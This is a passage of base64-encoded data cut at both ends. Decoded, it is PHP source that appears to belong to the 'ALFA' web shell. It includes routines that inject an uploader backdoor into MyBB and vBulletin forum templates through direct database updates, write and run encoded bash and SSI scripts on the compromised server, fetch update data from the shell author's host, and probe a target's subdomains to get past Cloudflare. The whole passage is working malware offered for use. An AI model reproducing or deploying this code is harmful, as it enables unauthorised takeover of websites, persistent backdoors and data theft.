nID0+ICc1MCcpLCAgICd0ZDQnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RicCcsICdpZCc9PidkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNScgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4IDogJywgJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dFZhbHVlJyA9PiAnbXliYl8nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSAgKTsgIGNyZWF0ZV90YWJsZSgkdGFibGUpOyAgZWNobyAkc2VsZWN0b3I7ICBlY2hvICI8cD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9JyAnPjwvcD48L2Zvcm0+PC9jZW50ZXI+PC9jZW50ZXI+IjsgIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkpIHsgICRkYnUgPSAkX1BPU1RbJ2FsZmE2J107ICAkZGJuID0gJF9QT1NUWydhbGZhNyddOyAgJGRicCA9ICRfUE9TVFsnYWxmYTgnXTsgICRkYmggPSAkX1BPU1RbJ2FsZmE5J107ICAkcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsgICRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107ICAkc2hlbGxDb2RlID0gIntcJHsiLkFMRkFfVVBMT0FERVIuIn19IjsgICRuZXdpbnNoZWxsID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJHNoZWxsQ29kZSk7ICBpZiAoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRuZXdpbnNoZWxsKSl7ICAkY29ubiA9IG15c3FsaV9jb25uZWN0KCRkYmgsJGRidSwkZGJwLCRkYm4pIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgICRpbmplY3QgPSAic2VsZWN0IHRlbXBsYXRlIGZyb20geyRwcmVmaXh9dGVtcGxhdGVzIHdoZXJlICB0aXRsZT0gJ2NhbGVuZGFyJyI7ICAkcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCAkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOyAgJEdldFRlbXAgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7ICAkc2F2ZURhdGUgPSAkR2V0VGVtcFsndGVtcGxhdGUnXTsgICRyZXBzYXZlID0gc3RyX3JlcGxhY2UoJHNoZWxsQ29kZSwiIiwkc2F2ZURhdGUpOyAgJHJlcHNhdmUgPSBzdHJfcmVwbGFjZSgiJyIsIlwnIiwkcmVwc2F2ZSk7ICAkY3JlYXRlU2hlbGwgPSAidXBkYXRlIHskcHJlZml4fXRlbXBsYXRlcyBTRVQgdGVtcGxhdGU9ICciLiRuZXdpbnNoZWxsLiRyZXBzYXZlLiInIHdoZXJlIHRpdGxlID0gJ2NhbGVuZGFyJyI7ICAkcmVzdWx0MiA9IG15c3FsaV9xdWVyeSgkY29ubiwkY3JlYXRlU2hlbGwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkZ2V0dXJsID0gInNlbGVjdCB2YWx1ZSBmcm9tIHskcHJlZml4fXNldHRpbmdzIHdoZXJlIG5hbWU9ICdiYnVybCciOyAgJGZpbmR1cmwgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGdldHVybCkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsgICRyb3diID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRmaW5kdXJsKTsgICRmdXJsID0gJHJvd2JbJ3ZhbHVlJ107ICAkcmVhbHVybCA9IHBhcnNlX3VybCgkZnVybCxQSFBfVVJMX0hPU1QpOyAgJHJlYWxwYXRoID0gcGFyc2VfdXJsKCRmdXJsLFBIUF9VUkxfUEFUSCk7ICAkcmVzID0gZmFsc2U7ICAkQWxmYUN1cmwgPSBuZXcgQWxmYUNVUkwoKTsgIGlmIChleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyApeyAgaWYgKCRmc29jayA9IEBmc29ja29wZW4oJHJlYWx1cmwsIDgwLCAkZXJybm8sICRlcnJzdHIsIDEwKSl7ICBAZnB1dHMoJGZzb2NrLCAiR0VUICRyZWFscGF0aC9jYWxlbmRhci5waHAgSFRUUC8xLjFcclxuIik7ICBAZnB1dHMoJGZzb2NrLCAiSE9TVDogJHJlYWx1cmxcclxuIik7ICBAZnB1dHMoJGZzb2NrLCAiQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiIpOyAgJGNoZWNrID0gZmdldHMoJGZzb2NrKTsgIGlmKHByZWdfbWF0Y2goIi8yMDAgT0svaSIsJGNoZWNrKSl7ICAkcmVwYWlyZGJ0ZW1wID0gInVwZGF0ZSB7JHByZWZpeH10ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSAnJHJlcHNhdmUnIHdoZXJlIHRpdGxlID0gJ2NhbGVuZGFyJyI7ICAkY2xlYXIgPSBteXNxbGlfcXVlcnkoJGNvbm4sJHJlcGFpcmRidGVtcCkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTskcmVzID0gdHJ1ZTt9ICBAZmNsb3NlKCRmc29jayk7fX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7ICAkQWxmYUN1cmwtPlNlbmQoJHJlYWx1cmwuJHJlYWxwYXRoLiIvY2FsZW5kYXIucGhwIik7ICAkcmVzID0gdHJ1ZTsgIH0gIGlmKCRyZXMpeyAgJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7ICBvdXRwdXQoJGZmKTsgIH1lbHNleyAgJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL2NhbGVuZGFyLnBocCI7ICAkZmZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7ICBlY2hvICI8YnI+PHByZSBpZD0nc3RyT3V0cHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPSdtbDEnPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPScjRkZGRkZGJz5QbGVhc2UgR28gVG8gVGFyZ2V0ID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz5BbmQgR28gVG8gPT4gPC9mb250PjxhIGhyZWY9JyIuJGZmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmZmLiI8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+IjsgIH19fX0gIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkgJiYgJF9QT1NUWydhbGZhMyddPT0gJ3ZiJyl7ICBlY2hvIF9fcHJlKCkuJzxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IHZidWxsZXRpbiB8PC9kaXY+PC9wPjxwPicuZ2V0Q29uZmlnSHRtbCgndmInKS4nPC9wPjxmb3JtIG5hbWU9ImZybSIgbWV0aG9kPSJQT1NUIiBvbnN1Ym1pdD0iZyhcJ1NoZWxsSW5qZWN0b3JzXCcsbnVsbCxudWxsLHRoaXMubG8udmFsdWUsXCd2YlwnLHRoaXMudXNlci52YWx1ZSx0aGlzLnBhc3MudmFsdWUsdGhpcy50YWIudmFsdWUsdGhpcy5kYi52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSk7IHJldHVybiBmYWxzZTsiPic7ICAkdGFibGUgPSBhcnJheSgndGQxJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdIb3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2xvJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkMicgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGF0YUJhc2UgTmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYicsICdpZCc9PidkYl9uYW1lJywnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDMnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1VzZXIgTmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICd1c2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNCcgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnUGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAncGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ1JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXggOiAnLCAnaW5wdXROYW1lJyA9PiAndGFiJywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSAgKTsgIGNyZWF0ZV90YWJsZSgkdGFibGUpOyAgZWNobyAkc2VsZWN0b3I7ICBlY2hvICc8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7ICBpZihpc3NldCgkX1BPU1RbJ2FsZmE0J10pJiYhZW1wdHkoJF9QT1NUWydhbGZhNCddKSl7ICAgJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTgnXTsgICRjb2RlID0gIntcJHsiLkFMRkFfVVBMT0FERVIuIn19e1wke2V4aXQoKX19JiI7ICAkY29ubj1AbXlzcWxpX2Nvbm5lY3QoJF9QT1NUWydhbGZhMiddLCRfUE9TVFsnYWxmYTQnXSwkX1BPU1RbJ2FsZmE1J10sJF9QT1NUWydhbGZhNyddKSBvciBkaWUoQG15c3FsaV9lcnJvcigkY29ubikpOyAgJHJlYyA9ICJzZWxlY3QgYHRlbXBsYXRlYCBmcm9tICIuJF9QT1NUWydhbGZhNiddLiJ0ZW1wbGF0ZSBXSEVSRSB0aXRsZSA9J2ZhcSciOyAgJHJlY2l2ZWRhdGEgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRyZWMpOyAgJGdldGQgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRyZWNpdmVkYXRhKTsgICRzYXZldG9hc3MgPSAkZ2V0ZFsndGVtcGxhdGUnXTsgICRjb2RlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGNvZGUpOyAgJHAgPSAiVVBEQVRFICIuJF9QT1NUWydhbGZhNiddLiJ0ZW1wbGF0ZSBTRVQgYHRlbXBsYXRlYD0nIi4kY29kZS4iJyBXSEVSRSBgdGl0bGVgPSdmYXEnIjsgICRrYT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcCkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgJGdldHVybCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCBgdmFsdWVgIGZyb20gIi4kX1BPU1RbJ2FsZmE2J10uInNldHRpbmcgV0hFUkUgYHZhcm5hbWVgPSdiYnVybCciKTsgICRnZXR2YWwgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRnZXR1cmwpOyAgJHNhdmV2YWwgPSAkZ2V0dmFsWyd2YWx1ZSddOyAgJHJlYWx1cmwgPSBwYXJzZV91cmwoJHNhdmV2YWwsUEhQX1VSTF9IT1NUKTsgICRyZWFscGF0aCA9IHBhcnNlX3VybCgkc2F2ZXZhbCxQSFBfVVJMX1BBVEgpOyAgJHJlcyA9IGZhbHNlOyAgJEFsZmFDdXJsID0gbmV3IEFsZmFDVVJMKCk7ICBpZihleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7ICBpZigkZnNvY2sgPSBAZnNvY2tvcGVuKCRyZWFsdXJsLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxMCkpeyAgQGZwdXRzKCRmc29jaywgIkdFVCAkcmVhbHBhdGgvZmFxLnBocCBIVFRQLzEuMVxyXG4iKTsgIEBmcHV0cygkZnNvY2ssICJIT1NUOiAkcmVhbHVybFxyXG4iKTsgIEBmcHV0cygkZnNvY2ssICJDb25uZWN0aW9uOiBjbG9zZVxyXG5cclxuIik7ICAkY2hlY2sgPSBmZ2V0cygkZnNvY2spOyAgaWYocHJlZ19tYXRjaCgiLzIwMCBPSy9pIiwkY2hlY2spKXsgICRwMSA9ICJVUERBVEUgIi4kX1BPU1RbJ2FsZmE2J10uInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9JyIuc3RyX3JlcGxhY2UoIiciLCJcJyIsJHNhdmV0b2FzcykuIicgV0hFUkUgdGl0bGUgPSdmYXEnIjsgICRrYTE9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHAxKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkcmVzID0gdHJ1ZTsgIH0gIEBmY2xvc2UoJGZzb2NrKTsgIH0gIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7ICAkQWxmYUN1cmwtPlNlbmQoJHJlYWx1cmwuJHJlYWxwYXRoLiIvZmFxLnBocCIpOyAgJHAxID0gIlVQREFURSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi5zdHJfcmVwbGFjZSgiJyIsIlwnIiwkc2F2ZXRvYXNzKS4iJyBXSEVSRSB0aXRsZSA9J2ZhcSciOyAgJGthMT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcDEpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgICRyZXMgPSB0cnVlOyAgfSAgaWYoJHJlcyl7ICAkZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIvc29sZXZpc2libGUucGhwIjsgIG91dHB1dCgkZmYpOyAgfWVsc2V7ICAkZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIvZmFxLnBocCI7ICAkZmZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7ICBlY2hvICI8Y2VudGVyPjxwPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkZpcnN0IE9wZW4gVGhpcyBMaW5rID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlNlY29uZCBPcGVuIFRoaXMgTGluayA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2NlbnRlcj48L3A+Ijt9fX0gIGVjaG8gJzwvZGl2Pic7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBhbGZhdXBkYXRlcGF0aCgpe2lmKCRfUE9TVFsncGF0aCddIT0nJyl7JF9TRVNTSU9OW19fTEFTVF9DV0RfX10gPSAkX1BPU1RbJ3BhdGgnXTt9ZWNobygkX1NFU1NJT05bX19MQVNUX0NXRF9fXSk7fWZ1bmN0aW9uIGFsZmFjaGVja2ZpbGV0eXBlKCl7JHBhdGggPSAkX1BPU1RbJ3BhdGgnXTskYXJnID0gJF9QT1NUWydhcmcnXTtpZihAaXNfZmlsZSgkcGF0aC4nLycuJGFyZykpe2VjaG8oImZpbGUiKTt9ZWxzZXtlY2hvKCJkaXIiKTt9fSAgZnVuY3Rpb24gYWxmYWNoZWNrdXBkYXRlKCl7aWYoIWlzc2V0KCRfQ09PS0lFWydhbGZhX2NoZWNrdXBkYXRlJ10pKXtpZihmdW5jdGlvbl9leGlzdHMoImN1cmxfdmVyc2lvbiIpKXskdXBkYXRlID0gbmV3IEFsZmFDVVJMKCk7JGpzb24gPSAkdXBkYXRlLT5TZW5kKCJodHRwOi8vc29sZXZpc2libGUuY29tL3VwZGF0ZS5qc29uIik7JGpzb24gPSBAanNvbl9kZWNvZGUoJGpzb24pO2lmKCRqc29uKXtpZihfX0FMRkFfVkVSU0lPTl9fICE9ICRqc29uLT52ZXJzaW9uKXtAc2V0Y29va2llKCJhbGZhX2NoZWNrdXBkYXRlIiwgIjEiLCB0aW1lKCkrODY0MDApO2VjaG8oJzxkaXYgY2xhc3M9InVwZGF0ZS1ob2xkZXIiPjxkaXYgY2xhc3M9InVwZGF0ZS1wYXJ0bmVyIj48ZGl2IGNsYXNzPSJ1cGRhdGUtY29udGVudCI+PGRpdiBvbkNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKFwndXBkYXRlLWhvbGRlclwnKVswXS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7IiBjbGFzcz0idXBkYXRlLWNsb3NlIj5YPC9kaXY+PGEgaHJlZj0iJy4kanNvbi0+dXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRqc29uLT50ZXh0Lic8YnI+IFZlcnNpb246ICcuJGpzb24tPnZlcnNpb24uJzwvYT48L2Rpdj48L2Rpdj48L2Rpdj4nKTt9fX19fSAgZnVuY3Rpb24gYWxmYVdyaXRlVG9jZ2lhcGkoJG5hbWUsICRzb3VyY2UpeyAgCUBjaGRpcihkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpOyAgCUBta2RpcignYWxmYWNnaWFwaScsMDc1NSk7ICAJX193cml0ZV9maWxlKCJhbGZhY2dpYXBpLyIuJG5hbWUsIF9fZ2V0X3Jlc291cmNlKCRzb3VyY2UpKTsgIAlAY2htb2QoImFsZmFjZ2lhcGkvIi4kbmFtZSwgMDc1NSk7ICB9ICBmdW5jdGlvbiBhbGZhY2hlY2tjZ2koKXtpZihzdHJsZW4oYWxmYUV4KCJpZCIsZmFsc2UsdHJ1ZSx0cnVlKSk+MCllY2hvKCJvayIpO2Vsc2UgZWNobygibm8iKTt9ICBmdW5jdGlvbiBhbGZhdXBkYXRlaGVhZGVyKCl7ICAJaWYoIWlzc2V0KCRfU0VTU0lPTlsidXBkYXRlaGVhZGVyX2RhdGEiXSkpeyAgICRiYXNoID0gInpaUmRiOW93RklhdnlhODQ5ZElHSkxLMHZWeUZORlRvaEVSQmd0RmRRSVJNNGhBTDQwUjJVa1lwLzMxMmdQQVJxTHFiYVlueUlmczh4Kzg1citVdlYwNHFoVE9oM0pHaE1lZzNud2J0V25ucWVjRFVvejgrelBHTVFCekdFQlBCSUY0bVljUkJwSk1sSkZqQTlJM0dNTm0rTUF2d1BYQ0ZSUjVPQ01pVStwcXFHSTN1cjA2N1cyODBlLzFhZVRFbENRUWs4VUpnUy80YkdPVXpDVjZxMHVzWnRvanRPUlVpRWhXRGVHRUVOZ0ZyaFZKSmdwU2hiOE9SWnhsQkpJQUM1V0N1TnFxSDM5MzFBL2lSQWVwYWhOUUxhMlk1KzRKSkswWnBPSVFyc044QW1ka2dBdGVGbXh2WTVSOGhrNDVRMVZLNXE0WWZjWkt2akVicWRxc2pEKzNGSUQ5YWNCWmhuNGlpbm9OUy82Mm9sT001VVhxUVpaYXpmN0F4dkt1K0ptQjdkL2JkL1czRnlpRHJFSkpFVUg5THlRVHJXRURYS1F6aGVnQXVVdHB1MFJsdUtxSTBQZ05PTmZqakE5Q1A1cGh5cVVFOThkTHEvUnpVMitORzk3bmU2dlJyeUZIN3dubWxJa2t4Y3piQnF0bEVTR1IwNnMvTnh2aXgyM25haHVraS9hOWV4QU5rdk5UYnJYcS9tV2ZBakdKSnBLTm5ldU1NVlZPdldHd29OVTREVUFib2Jwb25LclFSRDVDRWhCdWxiWlQ0T0txMEs5QXM0OFVNckdhbnNZb0Y1UWwwZW1zTFR0RUs3UHFnTFlRU1lmdGxqaHB3WVEwbUMzSHZzUERBWnNlWmp4S2IrLzc5amZROVZjZ3R5UUdPSHJGaWVnVDdhZ3VjMkFOdVJnVFV5QVdSZ2lDOTlYTkR0bTRXeDdkZVhyTG9nTHZRdDRPWXN6MDdkdVA4aXNXVWVkQi83c09uWGJnczlLVDJ3NkN6eFcvMGZYNmJhSDM1Y2VHdTFTbnhCdz09IjsgICAkcmVhbGRpciA9IGFkZHNsYXNoZXMoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsgICBhbGZhV3JpdGVUb2NnaWFwaSgiZ2V0aGVhZGVyLmFsZmEiLCRiYXNoKTsgICAkZGF0YSA9IGFsZmFFeCgiY2QgJ3skcmVhbGRpcn0vYWxmYWNnaWFwaSc7c2ggZ2V0aGVhZGVyLmFsZmEiLGZhbHNlLHRydWUsdHJ1ZSk7ICAgaWYoQGlzX2FycmF5KEBqc29uX2RlY29kZSgkZGF0YSx0cnVlKSkpeyAgICRfU0VTU0lPTlsidXBkYXRlaGVhZGVyX2RhdGEiXSA9ICRkYXRhOyAgIGVjaG8gJGRhdGE7ICAgfSAgCX1lbHNleyAgIGVjaG8gJF9TRVNTSU9OWyJ1cGRhdGVoZWFkZXJfZGF0YSJdOyAgCX0gIH0gIGZ1bmN0aW9uIGFsZmFzc2lTaGVsbCgpeyAgYWxmYWhlYWQoKTsgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7ICBAbWtkaXIoJ2FsZmFfc2h0bWwnLDA3NTUpOyAgQGNoZGlyKCdhbGZhX3NodG1sJyk7ICBhbGZhY2dpaHRhY2Nlc3MoJ3NodG1sJyk7ICAkY29kZSA9ICdyVmI5YjlzMkVQMVhya3kyMk1oc0tjdTZwdGJIMEErdnpZYkNYZXp0bDZZb1pJbVMyVkNrUUZKT3ZDWC8rNDZTckNoT25LUkJBOE9SeU9QanUzZVBSL3ZQQm9PZFdJcVVaVUNWeW5VV2tFOWpwYVQ2VEFhRDBPOU1hL1l2VFhNVGtQbktVTjNPc2hUb1JhRUMwanNsdSs5bnM0OWYza3dtZng2UFR3a0VjRXBPU1I4dUw4Rk9ub3ovK25zOG5YMzVNSjY5bjd6RitXYzI0TjE0aGpFRTFuaWFHbGhHaUtjWG5PQVRMMmxBdUlZQmo2NkRLTmYwM2hWZEp0ZXJSSUpzOFEyK0MvT1BrK2tXNmt6RUxYVm5PTHpqUTAzc0ZKSFc1OGxEU1hXd05wT0N6YXdXSnVlaHY2QlJFdnFHR1U3RFZ6eU5ZRWFqSEtiVFk1Z3VLT2UrVTAvNU9sYXNNTUFqa1pWUmhsUy9Sc3VvSGlSaFdvcllNQ2tna2N6MElKY0poVDc4eDlJZWpzUmxUb1VaeGxLZU1XckZJTVJPSWwrb3h6UXF1QkUyMUFXM1NNVERXQytWcW1mekE0YVJyb2YvL1BYU0lhY2lNd3NQOXZjWjlEYzNDOVpobjNETlo5aEhQQ3dpVTFRSHMwWDVFN2dIOEVjazRPRGxDeGRjZDFSOTROMkhHZkd1YmtPMUl4azFZMDd0NCt2VmNiSk9kMWpKN3JWUlhNYVIxV1NvS0pkUjB1dDdWNjFNUm1ZWnB6MWdpVlZpTzdLZEgycXo0blNZTUpRa1dpR1AzamVGbzl4Q0NvcjIvQTNJSEVtZEVSZzFZOTZWNzlRbERIMm5Oc0pjSml1UXdqSU95TGFOOW1LWjU1Rkk5dnJERkVNMDVrWmduc1dTUy9UZ2psdjlFWWc0RTJmWUFWQVdOR1huQmJkUm9aK3daZWpIaUVueFpYRVkrcWtVQnRZZ3oxL0c4ZUVoQ1MvaERsZkNwZS9ZYUVzYkZ6cHJGQXZiUG9kKzJXRGFaaFNRL1FPQ21jV2N4Y2lqcWNBZUZjczl5NzVTTFNCeHFiUlVvMEl5QytKVlpFYUtKaDRKeDJMSmxMUWFBQk9wYkFuZ0pzNjh3d0hUd2tJRUJKRmIyS1lhSTZ0NkE3cno2NHRYcjkvKzdqVmlGSXJXUjdsUWRtdXh0RWZicVVidHRGT0pWWC9mMHU1eG1XSy9lMlNtYitycUFoNDcwSFVUMkpKclRjaG1qTFhPQktKV0V3VE9XV0lXQVRsdzNSL1FHVklsRkd1S2xyRENWSTIzWVRHUDRyTk15VklrZzBhVzJqemV6WjU3LzMxUU5jVWJFdDlzZFkzRTh3MkgxUVd3aFVYSzBGaTZUWFVlam40VWMxMTQzVzhFVURuazFDd2tKb0tud3Vxc3kzbk9qRDB0MkxHdWo0YXRMQk5GYWNDc0NrelYwQXNNcnd0MDFFalJCSk93Z2UvRzE3RHR6WEJTQ2dSMExJRmJQdDhvL1dhQ0oxU1gzSFF5dTNsZ0xMRkkwYWh6Z3VrdjFFMk9LaVNOVmZ3WlFaVTh0NC9QU1hQOVhOQVk0andKZHJHYzFUM2tySEh3YXFsOEFYNXIxMjl6S2w1aWozVHFwS0NxYXJJYVVTQmxuT29IejJWMVJUN1NydC9KcGZYZFg5bTBSbnk2V2Y5aDlMeEtGSHJZamt3WmNleEdNUzhUMmg5MUt2eVFkUXVwNy9EdTBnTGY2OXdqdDlLd0NueVNhN2ZsTlVYMEJ4TFl0clRTTDdYMG9KRWsyRVZOckpqMXl1b25hTmYrVDNaOUkvV3RmVHJtdjlXdUhYdWwyb3ZLL3R6Nkh3PT0nOyAgQF9fd3JpdGVfZmlsZSgnYWxmYV9zc2kuc2h0bWwnLF9fZ2V0X3Jlc291cmNlKCRjb2RlKSk7ICBAY2htb2QoImFsZmFfc3NpLnNodG1sIiwwNzU1KTsgIGVjaG8gQWxmYWlGcmFtZUNyZWF0b3IoJ2FsZmFfc2h0bWwvYWxmYV9zc2kuc2h0bWwnKTsgIGVjaG8gJzwvZGl2Pic7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBhbGZhY2xvdWRmbGFyZSgpeyAgYWxmYWhlYWQoKTsgIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IENsb3VkIEZsYXJlIEJ5UGFzc2VyIHw8L2Rpdj48YnI+PGZvcm0gYWN0aW9uPScnIG9uc3VibWl0PVwiZygnY2xvdWRmbGFyZScsbnVsbCx0aGlzLnVybC52YWx1ZSwnPj4nKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD0ncG9zdCc+CjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlRhcmdldDo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHNpemU9MzAgbmFtZT0ndXJsJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBwbGFjZWhvbGRlcj1cInRhcmdldC5jb21cIj4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZ28nIHZhbHVlPScgJyAvPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsgIGlmKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJz4+Jyl7ICAkdXJsID0gJF9QT1NUWydhbGZhMSddOyAgaWYoIXByZWdfbWF0Y2goJy9eKGh0dHBzPyk6XC9cLyh3ezN9fHczKVwuL2knLCAkdXJsKSl7ICAkdXJsID0gcHJlZ19yZXBsYWNlKCcvXihodHRwcz8pOlwvXC8vJywgJycsICR1cmwpOyAgJHVybCA9ICJodHRwOi8vd3d3LiIuJHVybDsgIH0gICRoZWFkZXJzID0gQGdldF9oZWFkZXJzKCR1cmwsIDEpOyAgJHNlcnZlciA9ICRoZWFkZXJzWydTZXJ2ZXInXTsgICRzdWJzID0gYXJyYXkoJ293YS4nLCcydHR5LicsJ20uJywnZ3cuJywnbXgxLicsJ3N0b3JlLicsJzEnLCcyJywndmIuJywnbmV3cy4nLCdkb3dubG9hZC4nLCd2aWRlbycsJ2NwYW5lbC4nLCAnZnRwLicsICdzZXJ2ZXIxLicsICdjZG4uJywgJ2NkbjIuJywgJ25zLicsICduczMuJywgJ21haWwuJywgJ3dlYm1haWwuJywgJ2RpcmVjdC4nLCAnZGlyZWN0LWNvbm5lY3QuJywgJ3JlY29yZC4nLCAnc3NsLicsICdkbnMuJywgJ2hlbHAuJywgJ2Jsb2cuJywgJ2lyYy4nLCAnZm9ydW0uJywgJ2RsLicsICdteS4nLCAnY3AuJywgJ3BvcnRhbC4nLCAna2IuJywgJ3N1cHBvcnQuJywnc2VhcmNoLicsICdkb2NzLicsICdmaWxlcy4nLCAnYWNjb3VudHMuJywgJ3NlY3VyZS4nLCAncmVnaXN